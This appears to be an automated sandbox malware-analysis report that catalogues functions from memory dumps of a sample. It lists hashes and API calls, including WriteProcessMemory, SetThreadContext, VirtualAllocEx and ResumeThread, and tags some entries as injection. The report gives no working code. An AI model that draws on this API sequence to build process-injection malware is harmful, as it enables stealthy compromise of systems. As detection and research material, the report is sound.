Source File: 00000001.00000002.1460819095.0000000001370000.00000040.00000800.00020000.00000000.sdmp, Offset: 01370000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1370000_SMBKT-20242005.jbxd

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: 303916c23c68784cc0dda788cf57cf322831be1ff198646548aeb90881a2cda8
Instruction ID: 2d5a0bc7c9001c6906fc8b3852ef12a1d02464cbebb0422a74eb12db02abdf7a
Opcode Fuzzy Hash: 303916c23c68784cc0dda788cf57cf322831be1ff198646548aeb90881a2cda8
Instruction Fuzzy Hash: B341B070C00719CFEB24DFAAC844BDEBBB6BF49704F20846AD409AB251DB756946CF50

Function 04DF2B18 Relevance: 1.6, APIs: 1, Instructions: 72injectionCOMMON

Download Yara Rule

APIs

WriteProcessMemory.KERNELBASE(?,?,00000000,?,?), ref: 04DF2BB0

Memory Dump Source

Source File: 00000001.00000002.1463956684.0000000004DF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04DF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_4df0000_SMBKT-20242005.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: 494e87def2ce8a60f92b6d511df8506244de5610c5942702d22859f16a294aab
Instruction ID: 6719c2c8530e4c23267fb7783a396ae31f81303b4380c4ce625d81fafea1fcbf
Opcode Fuzzy Hash: 494e87def2ce8a60f92b6d511df8506244de5610c5942702d22859f16a294aab
Instruction Fuzzy Hash: E0215A759103499FDB10CFA9C885BEEBBF5FF48310F14842AE958A7240C7799554CBA0

Function 04DF2B20 Relevance: 1.6, APIs: 1, Instructions: 69injectionCOMMON

Download Yara Rule

APIs

WriteProcessMemory.KERNELBASE(?,?,00000000,?,?), ref: 04DF2BB0

Memory Dump Source

Source File: 00000001.00000002.1463956684.0000000004DF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04DF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_4df0000_SMBKT-20242005.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: f414c6661a9fcbc314130ec605bffc45bd09603007a7457e202f14657eefcf2c
Instruction ID: 16df13358cf5f2e97e7710c5fb7596df45f3f5a670339a8decd64f8359918111
Opcode Fuzzy Hash: f414c6661a9fcbc314130ec605bffc45bd09603007a7457e202f14657eefcf2c
Instruction Fuzzy Hash: C12139759103499FDB10CFA9C885BDEBBF5FF48310F14842AE959A7340C779A944CBA0

Function 04DF2C08 Relevance: 1.6, APIs: 1, Instructions: 67COMMON

Download Yara Rule

APIs

ReadProcessMemory.KERNELBASE(?,?,?,?,?), ref: 04DF2C90

Memory Dump Source

Source File: 00000001.00000002.1463956684.0000000004DF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04DF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_4df0000_SMBKT-20242005.jbxd

Similarity

API ID: MemoryProcessRead
String ID:
API String ID: 1726664587-0
Opcode ID: 1d183cb7a5f2d860eb6a1482f78c8821b8a69ac82e7e7c8899bd9e13eba377ae
Instruction ID: 16a88323112859f67e292a0f7d758dd7ee4e218fc79685c9f0bf16a73e1756d1
Opcode Fuzzy Hash: 1d183cb7a5f2d860eb6a1482f78c8821b8a69ac82e7e7c8899bd9e13eba377ae
Instruction Fuzzy Hash: 772136B580034A9FDB10DFAAD880BEEFBF5FF48310F14842AE958A7240D7799554CBA1

Function 04DF2548 Relevance: 1.6, APIs: 1, Instructions: 66threadCOMMON

Download Yara Rule

APIs

Wow64SetThreadContext.KERNEL32(?,00000000), ref: 04DF25CE

Memory Dump Source

Source File: 00000001.00000002.1463956684.0000000004DF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04DF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_4df0000_SMBKT-20242005.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: 7e7b7ef12a4e99f93d67b6bfa59ada9f31ee60df60de5eac379354ebef458cf8
Instruction ID: 52db690a54e2ee5ed49e2a30e6249263a7f82067d87d62220f7ef9d0f0b9d6ba
Opcode Fuzzy Hash: 7e7b7ef12a4e99f93d67b6bfa59ada9f31ee60df60de5eac379354ebef458cf8
Instruction Fuzzy Hash: 9F213971D103098FDB10DFAAC4857EEBBF4AF88314F14842AD959A7340DB79A944CFA1

Function 0137D661 Relevance: 1.6, APIs: 1, Instructions: 64COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 0137D6EF

Memory Dump Source

Source File: 00000001.00000002.1460819095.0000000001370000.00000040.00000800.00020000.00000000.sdmp, Offset: 01370000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1370000_SMBKT-20242005.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: a36b9481b7b979fc709b53679b31b3b61ca8e7914da839197a582b4359b93f23
Instruction ID: b4be7bf6470bbf9658ed634717536351579eab266afbc8fbf29e2eccc6368c5d
Opcode Fuzzy Hash: a36b9481b7b979fc709b53679b31b3b61ca8e7914da839197a582b4359b93f23
Instruction Fuzzy Hash: 2B21E0B59002499FDB10CFAAD584AEEBBF5FF48324F14842AE918A7350D378A954CF60

Function 04DF2550 Relevance: 1.6, APIs: 1, Instructions: 63threadCOMMON

Download Yara Rule

APIs

Wow64SetThreadContext.KERNEL32(?,00000000), ref: 04DF25CE

Memory Dump Source

Source File: 00000001.00000002.1463956684.0000000004DF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04DF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_4df0000_SMBKT-20242005.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: eedcdddb6d3702de306fc1ec273164ed9dd57632bc3dbf4644be6dfbf392bcbd
Instruction ID: 6c770151772fb07c55f4ba84680cf8cd270196f040a6b34e4adef758864ddb88
Opcode Fuzzy Hash: eedcdddb6d3702de306fc1ec273164ed9dd57632bc3dbf4644be6dfbf392bcbd
Instruction Fuzzy Hash: F12127719103098FDB10DFAAC8857EEBBF4EF48324F14842AD559A7340DB79AA45CFA1

Function 04DF2C10 Relevance: 1.6, APIs: 1, Instructions: 63COMMON

Download Yara Rule

APIs

ReadProcessMemory.KERNELBASE(?,?,?,?,?), ref: 04DF2C90

Memory Dump Source

Source File: 00000001.00000002.1463956684.0000000004DF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04DF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_4df0000_SMBKT-20242005.jbxd

Similarity

API ID: MemoryProcessRead
String ID:
API String ID: 1726664587-0
Opcode ID: e57925a2be525c79a57e878016cea7f07aa1853e162ba655d508112dc05a652e
Instruction ID: f32900d84b1c619472eba9ce628ff1c32a298fbdb296eeb63783ec8634206687
Opcode Fuzzy Hash: e57925a2be525c79a57e878016cea7f07aa1853e162ba655d508112dc05a652e
Instruction Fuzzy Hash: 612128B58003499FDB10DFAAC881BEEBBF5FF48310F14842AE559A7240D7799540CBA1

Function 0137D668 Relevance: 1.6, APIs: 1, Instructions: 62COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 0137D6EF

Memory Dump Source

Source File: 00000001.00000002.1460819095.0000000001370000.00000040.00000800.00020000.00000000.sdmp, Offset: 01370000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1370000_SMBKT-20242005.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 2cdbc7f8e64b9f937305101fb8ec12fa68476b82bd19606c4ae1cdda85280606
Instruction ID: e55e8bfc712ac69e9f77e4d07d15f6f82c7ad4139ada57f902b527434228727e
Opcode Fuzzy Hash: 2cdbc7f8e64b9f937305101fb8ec12fa68476b82bd19606c4ae1cdda85280606
Instruction Fuzzy Hash: B121E4B59002499FDB10CF9AD484ADEFBF4FF48310F14801AE918A3350D378A954CF60

Function 04DE2739 Relevance: 1.6, APIs: 1, Instructions: 59memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(?,?,?,?), ref: 04DE27B3

Memory Dump Source

Source File: 00000001.00000002.1463924036.0000000004DE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04DE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_4de0000_SMBKT-20242005.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: bab2b77d29277bb44c63d68e67ccb6bbb0b6ab50964f48b545cdaf1e4547ff68
Instruction ID: 6fa1ab7c03f0b26e6764839dced485dd2fcf2d2a29cce7b1ffdfe099a3650e63
Opcode Fuzzy Hash: bab2b77d29277bb44c63d68e67ccb6bbb0b6ab50964f48b545cdaf1e4547ff68
Instruction Fuzzy Hash: 5921E5759042499FDB10DFAAC484BDEBFF4EF49320F14806AE958A7251D374A944CFA1

Function 04DE2740 Relevance: 1.6, APIs: 1, Instructions: 55memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(?,?,?,?), ref: 04DE27B3

Memory Dump Source

Source File: 00000001.00000002.1463924036.0000000004DE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04DE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_4de0000_SMBKT-20242005.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: dbe4b45014544537ef6fea56bb8f0a0ec05775522c391e5d251d6a735ac02cbe
Instruction ID: 645fda646b0fe1a56a56e0760bd8b7728475159851693d8729fc98faa3b1a5cb
Opcode Fuzzy Hash: dbe4b45014544537ef6fea56bb8f0a0ec05775522c391e5d251d6a735ac02cbe
Instruction Fuzzy Hash: B721D6759002499FDB10DF9AC485BDEFBF4FB48310F108429E958A7250D778A944CFA1

Function 0137AB90 Relevance: 1.6, APIs: 1, Instructions: 55libraryCOMMON

Download Yara Rule

APIs

LoadLibraryExW.KERNELBASE(00000000,00000000,?,?,?,?,00000000,?,0137B459,00000800,00000000,00000000), ref: 0137B66A

Memory Dump Source

Source File: 00000001.00000002.1460819095.0000000001370000.00000040.00000800.00020000.00000000.sdmp, Offset: 01370000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1370000_SMBKT-20242005.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: c811788f7fc502cab5fde960ef864ff3e19f985232b2aae06f3f76af7f96d678
Instruction ID: d8ad3f8fcb71a8e8aaf5cb7a69f1c3b96d3647860e7e432e9f38871d22538808
Opcode Fuzzy Hash: c811788f7fc502cab5fde960ef864ff3e19f985232b2aae06f3f76af7f96d678
Instruction Fuzzy Hash: 4A1123B68003098FDB20DF9AC444BDEFBF4EB48324F10842EE919A7600C379A945CFA5

Function 0137B5F9 Relevance: 1.6, APIs: 1, Instructions: 54libraryCOMMON

Download Yara Rule

APIs

LoadLibraryExW.KERNELBASE(00000000,00000000,?,?,?,?,00000000,?,0137B459,00000800,00000000,00000000), ref: 0137B66A

Memory Dump Source

Source File: 00000001.00000002.1460819095.0000000001370000.00000040.00000800.00020000.00000000.sdmp, Offset: 01370000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1370000_SMBKT-20242005.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 05c411c2344340283a0477e67644323be973220b6b7a5e87114cf94262f34fda
Instruction ID: 753ca45e9846db63134e8c7414cc277e41d0a3a1cd1a1d79e73c6c7ed2d4dc7b
Opcode Fuzzy Hash: 05c411c2344340283a0477e67644323be973220b6b7a5e87114cf94262f34fda
Instruction Fuzzy Hash: 891112B68003098FDB20CF9AC844BDEFBF4EB88324F11842AD959A7610C379A545CFA5

Function 04DF2A60 Relevance: 1.6, APIs: 1, Instructions: 53memoryCOMMON

Download Yara Rule

APIs

VirtualAllocEx.KERNELBASE(?,?,?,?,?), ref: 04DF2ACE

Memory Dump Source

Source File: 00000001.00000002.1463956684.0000000004DF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04DF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_4df0000_SMBKT-20242005.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: b4081939bf1795afc6435a1b3580473334ab753a2f20de0b92c0cab8885a46b7
Instruction ID: aaeaf7f98d67bab656e5ff8058b44ecbc9c8ab8b44a7828120c69d9f16785c78
Opcode Fuzzy Hash: b4081939bf1795afc6435a1b3580473334ab753a2f20de0b92c0cab8885a46b7
Instruction Fuzzy Hash: AA1149768003499FDB20DFAAC845BDFBBF5EF48320F14841AE519A7250C776A550CFA1

Function 04DF2498 Relevance: 1.6, APIs: 1, Instructions: 52threadCOMMON

Download Yara Rule

APIs

ResumeThread.KERNELBASE ref: 04DF2502

Memory Dump Source

Source File: 00000001.00000002.1463956684.0000000004DF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04DF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_4df0000_SMBKT-20242005.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: 7f48809c4761b8d3da9bb75c16d2094071ad7023ed18f01217c545a5bf8c43d4
Instruction ID: d70f93ae88ac55e1a0ab549272ef3a2ffc5ab810a49780753d88d26c5d80d720
Opcode Fuzzy Hash: 7f48809c4761b8d3da9bb75c16d2094071ad7023ed18f01217c545a5bf8c43d4
Instruction Fuzzy Hash: CF115B718043498BDB20DFAAC8457EFFBF4EF48320F24841AD569A7380CB79A544CBA0

Function 04DF24A0 Relevance: 1.5, APIs: 1, Instructions: 49threadCOMMON

Download Yara Rule

APIs

ResumeThread.KERNELBASE ref: 04DF2502

Memory Dump Source

Source File: 00000001.00000002.1463956684.0000000004DF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04DF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_4df0000_SMBKT-20242005.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: 660f31d704217713fc49fd7adb404647d612a12adae89df69a97ee300d4be270
Instruction ID: 444156c7eb4ea95076861b6b6ddfca3dafdd2f7d883e95fd88b5a621b7936222
Opcode Fuzzy Hash: 660f31d704217713fc49fd7adb404647d612a12adae89df69a97ee300d4be270
Instruction Fuzzy Hash: E61128B19003498BDB20DFAAC8457DEFBF5AF48314F148419D519A7340CB79A544CBA1

Function 04DF7198 Relevance: 1.5, APIs: 1, Instructions: 49windowCOMMON

Download Yara Rule

APIs

PostMessageW.USER32(?,00000010,00000000,?), ref: 04DF71FD

Memory Dump Source

Source File: 00000001.00000002.1463956684.0000000004DF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04DF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_4df0000_SMBKT-20242005.jbxd

Similarity

API ID: MessagePost
String ID:
API String ID: 410705778-0
Opcode ID: fd94590c2ea0472b4ffe1de39133b5813e4cdf0372010d04ca71431222f9aa4d
Instruction ID: 29666c6829bb3a173b3c88df3529e95664767efac07644959a63209ca883fb3c
Opcode Fuzzy Hash: fd94590c2ea0472b4ffe1de39133b5813e4cdf0372010d04ca71431222f9aa4d
Instruction Fuzzy Hash: 6F1125B58003499FDB20DF9AD844BDEBFF8FB48310F10845AE954A3211C375A554CFA1

Function 04DF5368 Relevance: 1.5, APIs: 1, Instructions: 47windowCOMMON

Download Yara Rule

APIs

PostMessageW.USER32(?,00000010,00000000,?), ref: 04DF71FD

Memory Dump Source

Source File: 00000001.00000002.1463956684.0000000004DF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04DF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_4df0000_SMBKT-20242005.jbxd

Similarity

API ID: MessagePost
String ID:
API String ID: 410705778-0
Opcode ID: 5cad66747c627e529c17d3010e75a9de2b5c4888060e4ed40cb4be2fdf6aa9dd
Instruction ID: efaba522fbb7ed75b5ed7140b8f81f076d28a0ee57017a680fa72dda581506f8
Opcode Fuzzy Hash: 5cad66747c627e529c17d3010e75a9de2b5c4888060e4ed40cb4be2fdf6aa9dd
Instruction Fuzzy Hash: F01103B58003499FDB20DF9AD885BDEBBF8FB48310F11841AE958A7340D3B5A944CFA1

Function 0137B378 Relevance: 1.5, APIs: 1, Instructions: 47COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNELBASE(00000000), ref: 0137B3DE

Memory Dump Source

Source File: 00000001.00000002.1460819095.0000000001370000.00000040.00000800.00020000.00000000.sdmp, Offset: 01370000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1370000_SMBKT-20242005.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: 2ef6f0c85d4c90740ec9583919b346435f5f178431570216b69d2efd3c40ef95
Instruction ID: 91c2532b18ff32fe0f8ec1f0adda6aeb90dfc2381fd6fc02de027adb70a0e749
Opcode Fuzzy Hash: 2ef6f0c85d4c90740ec9583919b346435f5f178431570216b69d2efd3c40ef95
Instruction Fuzzy Hash: E011E0B5C006498FEB20CF9AC444BDEFBF4EF88214F10842AD929A7650D379A545CFA1

Function 08E9F0E6 Relevance: 1.4, Strings: 1, Instructions: 130COMMON

Download Yara Rule

Strings

uS[, xrefs: 08E9F129

Memory Dump Source

Source File: 00000001.00000002.1465936940.0000000008E90000.00000040.00000800.00020000.00000000.sdmp, Offset: 08E90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_8e90000_SMBKT-20242005.jbxd

Similarity

API ID:
String ID: uS[
API String ID: 0-1911296808
Opcode ID: 9f278e811f4a128a0139782b95c7496721a8bdb951bbf8250584da29938c0301
Instruction ID: b6ba9ea664c4266f2cb5294d348c66dfe2ee57d14f520d394e3792ff7b30f581
Opcode Fuzzy Hash: 9f278e811f4a128a0139782b95c7496721a8bdb951bbf8250584da29938c0301
Instruction Fuzzy Hash: E351E375905244CFDB40DFA4E989AECBBF5FB09302F1495A9D485DB386EBB09841CF50

Function 08E9F09A Relevance: 1.3, Strings: 1, Instructions: 35COMMON

Download Yara Rule

Strings

uS[, xrefs: 08E9F129

Memory Dump Source

Source File: 00000001.00000002.1465936940.0000000008E90000.00000040.00000800.00020000.00000000.sdmp, Offset: 08E90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_8e90000_SMBKT-20242005.jbxd

Similarity

API ID:
String ID: uS[
API String ID: 0-1911296808
Opcode ID: 991ebcf71abec740ef17a841016c750004cc9acc1ed4a3c2b2bc1a86445ac4c2
Instruction ID: bbe8f2f193128da31dcd9a880a1dd157839c0bc09de9800d84db518bc2733d42
Opcode Fuzzy Hash: 991ebcf71abec740ef17a841016c750004cc9acc1ed4a3c2b2bc1a86445ac4c2
Instruction Fuzzy Hash: BD014FB0A05349CFDB40EFD4E845AEC77B6FB48301F109A55D416EF788E77198458B60

Function 08E9F068 Relevance: 1.3, Strings: 1, Instructions: 28COMMON

Download Yara Rule

Strings

uS[, xrefs: 08E9F129

Memory Dump Source

Source File: 00000001.00000002.1465936940.0000000008E90000.00000040.00000800.00020000.00000000.sdmp, Offset: 08E90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_8e90000_SMBKT-20242005.jbxd

Similarity

API ID:
String ID: uS[
API String ID: 0-1911296808
Opcode ID: 3e61bd23446458af9e167d5fe703f85bbacca93abe44eff126922fac10a15921
Instruction ID: 39d10c01483cc6889dd2c1988652818582c0f1cf1b9ea16f56d2af78fdcd11f1
Opcode Fuzzy Hash: 3e61bd23446458af9e167d5fe703f85bbacca93abe44eff126922fac10a15921
Instruction Fuzzy Hash: 33F06D70A093898FCB40EFE4E854AEC7BB1FB48300F209A16D4559F789E7305845CB60

Function 08E96220 Relevance: 1.3, Strings: 1, Instructions: 23COMMON

Download Yara Rule

Strings

un, xrefs: 08E96243

Memory Dump Source

Source File: 00000001.00000002.1465936940.0000000008E90000.00000040.00000800.00020000.00000000.sdmp, Offset: 08E90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_8e90000_SMBKT-20242005.jbxd

Similarity

API ID:
String ID: un
API String ID: 0-3067141278
Opcode ID: e88280ed63f27f83321441e0cce917b3b2b5d78d18d3b8401f9af22ec7b0face
Instruction ID: e1b8fec94b52578ef70ebc056e802bf56b06080f6ba60ca62b44c00b12c00e3d
Opcode Fuzzy Hash: e88280ed63f27f83321441e0cce917b3b2b5d78d18d3b8401f9af22ec7b0face
Instruction Fuzzy Hash: 4EE04F2618C3C4AFDF221BA098216753F799B5361AF1D50AFE1C4891A2D9978406C735

Function 08E96230 Relevance: 1.3, Strings: 1, Instructions: 19COMMON

Download Yara Rule

Strings

un, xrefs: 08E96243

Memory Dump Source

Source File: 00000001.00000002.1465936940.0000000008E90000.00000040.00000800.00020000.00000000.sdmp, Offset: 08E90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_8e90000_SMBKT-20242005.jbxd

Similarity

API ID:
String ID: un
API String ID: 0-3067141278
Opcode ID: fe2f3a90d41fc91201be7915e85a23d1cb2cff28174cb0f5d8298cd95dc6b937
Instruction ID: 17ad87d83652d557a92e057a77d8c0be62a5a5a56dbd949dd0a93fc7493de1fc
Opcode Fuzzy Hash: fe2f3a90d41fc91201be7915e85a23d1cb2cff28174cb0f5d8298cd95dc6b937
Instruction Fuzzy Hash: A0D05B3638431CEBDF3456D1E416739326DA795606F24811FF54595194DEB68400C735

Function 08E96BA2 Relevance: .2, Instructions: 194COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1465936940.0000000008E90000.00000040.00000800.00020000.00000000.sdmp, Offset: 08E90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_8e90000_SMBKT-20242005.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6cb7f6b20f2731ef5553bb7429d375c34320ba1954d13bbd44541fb99f0006b5
Instruction ID: c03849c6c3eb0d27d7d8848a47a050e77d0875251dc85cee5631b234b213ed96
Opcode Fuzzy Hash: 6cb7f6b20f2731ef5553bb7429d375c34320ba1954d13bbd44541fb99f0006b5
Instruction Fuzzy Hash: 81717136E48218DFDF15CB98C444BADB7B2FF90306F14942BE491AB2A4DBB09D42CB51

Function 08E95970 Relevance: .2, Instructions: 167COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1465936940.0000000008E90000.00000040.00000800.00020000.00000000.sdmp, Offset: 08E90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_8e90000_SMBKT-20242005.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9804ee6e91dcf1f154f8267004d171ff9552206efcab858f9df763656cb4b9eb
Instruction ID: 3cfe6de4a4b846eca715c8519ec4161a6b0455b97d423823bc450517eafacdd0
Opcode Fuzzy Hash: 9804ee6e91dcf1f154f8267004d171ff9552206efcab858f9df763656cb4b9eb
Instruction Fuzzy Hash: E2518A327002058FDB25DF68C494BAAB7E6AF88319F14416DD45ACB3A0DBB5EC41CB50

Function 08E915C0 Relevance: .2, Instructions: 153COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1465936940.0000000008E90000.00000040.00000800.00020000.00000000.sdmp, Offset: 08E90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_8e90000_SMBKT-20242005.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 29af3437b494ae8f36dc5c70d24c3d50d9e97809dd0189c6e9945a9e0b5cbd4b
Instruction ID: f82985f7eb005ad0d348a9b8578f136b39fb556b104f1ac159de8a38088508e7
Opcode Fuzzy Hash: 29af3437b494ae8f36dc5c70d24c3d50d9e97809dd0189c6e9945a9e0b5cbd4b
Instruction Fuzzy Hash: 9E51B431A002099FDF05DFB488103AE7BB6BF8A211B148569D455EB384DE39D9418795

Function 08E9595F Relevance: .1, Instructions: 133COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1465936940.0000000008E90000.00000040.00000800.00020000.00000000.sdmp, Offset: 08E90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_8e90000_SMBKT-20242005.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: edc257c363d2792261816ae611d4d40af787c719ab8580d1d659801150f45946
Instruction ID: f0282501b0849f292a4f76fa79663c7c04e527956a044d111607a1a426a82635
Opcode Fuzzy Hash: edc257c363d2792261816ae611d4d40af787c719ab8580d1d659801150f45946
Instruction Fuzzy Hash: 6051A2317002059FDB16DF68C484B9EB7F6AF89319F18816DD44A9B3A1DBB5EC01CB91

Function 08E904D0 Relevance: .1, Instructions: 122COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1465936940.0000000008E90000.00000040.00000800.00020000.00000000.sdmp, Offset: 08E90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_8e90000_SMBKT-20242005.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6fbebfcde155625eca1ead38fbc7abe833c273e5754235ca13664c16c5b728cc
Instruction ID: 47093cc095b3ace4d0b74dad5aa690e2445f6348d6e025390f33918ef8367e80
Opcode Fuzzy Hash: 6fbebfcde155625eca1ead38fbc7abe833c273e5754235ca13664c16c5b728cc
Instruction Fuzzy Hash: A3412932740A10DFDB24D728D8047ABB7D5EBC5326F44956ED4998B240CBB4E846CB91

Function 08E982E8 Relevance: .1, Instructions: 96COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1465936940.0000000008E90000.00000040.00000800.00020000.00000000.sdmp, Offset: 08E90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_8e90000_SMBKT-20242005.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 83909935416679c56331e397205f2d40cb2f5708cdc9a8750399f867e486ca7d
Instruction ID: 6a7c19009ae1454bc90f5c5251fc8ba7c21e8c3792d9422da9f25a9f08bd3f76
Opcode Fuzzy Hash: 83909935416679c56331e397205f2d40cb2f5708cdc9a8750399f867e486ca7d
Instruction Fuzzy Hash: 2831C172A54265CFCF04CF69C8806EEF7B4FF49212F44923AE899D7261C3B4D9418B91

Function 08E982F8 Relevance: .1, Instructions: 95COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1465936940.0000000008E90000.00000040.00000800.00020000.00000000.sdmp, Offset: 08E90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_8e90000_SMBKT-20242005.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 42644bc471a8c99b2cd6e6d9fa209f7ec338cb16dcf9257d9696772f26f4e94a
Instruction ID: ce02c5120aa41d901eade72b63693c7ec30bf8e64a42e2a2e32bedb957e52742
Opcode Fuzzy Hash: 42644bc471a8c99b2cd6e6d9fa209f7ec338cb16dcf9257d9696772f26f4e94a
Instruction Fuzzy Hash: D131A072A04265CFCF04CF69C9406EEF7B0FF4A212F44523AE599D72A5D3B4D9418B91

Function 08E940E8 Relevance: .1, Instructions: 86COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1465936940.0000000008E90000.00000040.00000800.00020000.00000000.sdmp, Offset: 08E90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_8e90000_SMBKT-20242005.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ab25cd6283ddfeadb8d1068d061452f631d4843b32b6c220a9e533d5950975ae
Instruction ID: 29b306d73e31967981c667efc02a1370381c7574da9089349b737518584b3e65
Opcode Fuzzy Hash: ab25cd6283ddfeadb8d1068d061452f631d4843b32b6c220a9e533d5950975ae
Instruction Fuzzy Hash: 9021A1367502108FCF18DB29D41496D33E9FF9866A71540AEE945CB3B0EEB1DC02CBA4

Function 08E9A1BA Relevance: .1, Instructions: 85COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1465936940.0000000008E90000.00000040.00000800.00020000.00000000.sdmp, Offset: 08E90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_8e90000_SMBKT-20242005.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: aae42cd78d63b37af978d5f8213a256652c0b687ffbaec0804b6e1a22eb1e57b
Instruction ID: 65642af0c9e013d0cc1a73ed67dc28b4f3959a72e6c7e94670d4563bbb516723
Opcode Fuzzy Hash: aae42cd78d63b37af978d5f8213a256652c0b687ffbaec0804b6e1a22eb1e57b
Instruction Fuzzy Hash: EE31D6B5E042199FCB44CFA9C581AAEFBF2FF88300F10956AD819A7314D7799A42CF50

Function 08E9A1C8 Relevance: .1, Instructions: 82COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1465936940.0000000008E90000.00000040.00000800.00020000.00000000.sdmp, Offset: 08E90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_8e90000_SMBKT-20242005.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e8bdda3a7f29f0eeb50bbbcc62119f8a42d203a83d5b770bb177bacb0bc87379
